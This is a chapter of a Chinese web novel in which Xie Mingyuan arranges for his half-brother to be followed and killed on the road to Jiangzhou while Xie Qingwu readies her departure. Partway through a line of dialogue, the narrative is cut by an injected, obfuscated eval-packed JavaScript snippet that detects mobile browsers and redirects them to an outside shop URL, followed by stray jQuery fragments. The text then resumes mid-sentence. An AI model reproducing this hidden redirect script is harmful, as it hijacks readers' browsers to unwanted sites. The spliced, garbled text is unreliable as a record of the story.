25.疑心渐起


    谢明远点点头,手指在桌上敲着。

    谢怀瑾突然离京,绝不是什么好事。这小子精得很,每一步都有算计。这次南下,肯定是冲着林家的事去的。

    乳娘周氏还在江州。

    要是让谢怀瑾找到她,问出当年的事……

    谢明远心里一紧。

    不行,不能让他得逞。

    “派两个人,跟着他。”他说,“不用跟太近,弄清楚他去哪就

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16952573|193012||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    行。若是他真往江州去……”

    他顿了顿,眼神狠起来:“就让他有去无回。”

    王管家身子一颤:“大少爷,这……谢怀瑾毕竟是举人,又是国子监的人,万一……”

    “万一什么?”谢明远盯着他,“江州那地方,山高路远,死个把人不奇怪。再说了,动手的是王家,关我们谢家什么事?”

    王管家明白了,低头应道:“是,小人这就去安排。”

    “等等。”谢明远叫住他,“找可靠的人去。那个王癞子,不是一直想表现吗?让他去。”

    王癞子是王家旁支的一个混混,心狠手辣,专干脏活。

    用他,最合适。

    王管家退下了。

    书房里只剩谢明远一个人。他走到窗边,看着外面的雪。

    谢怀瑾。

    这个他从来没放在眼里的庶子,如今却成了心头刺。

    秋闱中举,公主看重,连陆执都对他另眼相看。再这样下去,迟早要爬到谢家头上。

    得在他羽翼未丰之前,拔了这根刺。

    雪越下越大,盖住了庭院里的石板路,一片白茫茫的。

    像是要把所有的痕迹都掩埋。

    谢青梧对此一无所知。

    她正在屋里检查最后一遍行李。图舆贴身放着,密信藏好了,银子分了三处,药瓶放在随手能拿到的地方。

    一切都准备好了。

    李婶红着眼眶站在门口:“公子,明早我给您煮碗面,吃了再走。”

    “好。”谢青梧笑笑,“李婶,你也早点歇着。”

    夜深了。

    谢青梧吹灭灯,躺在床上。眼睛闭着,脑子却清醒得很。

    南下这条路,每一步都得算好。

    从京城到津门,骑马三天。津门换船,顺漕运南下,大概十五天到江州。加起来,最快十八天。

    十八天里,不能出一点差错。

    谢明远肯定会派人盯梢,得想办法甩掉。王家在沿途可能有耳目,得小心避开。还有陆执,锦衣卫的线报系统厉害,说不定已经知道了。

    她翻了个身,手摸到枕下的匕首。

    冰冷的刀鞘,贴着掌心。

    这是云知意给她的,说防身用。

    希望用不上。

    窗外风声紧了,吹得屋檐上的雪簌簌往下掉。

    谢青梧听着那声音,慢慢闭上眼睛。

    明天一早,天一亮就走。

    离开京城,离开这些盯着她的眼睛,去江州,去找真相。

    也去找一条,真正属于她的路。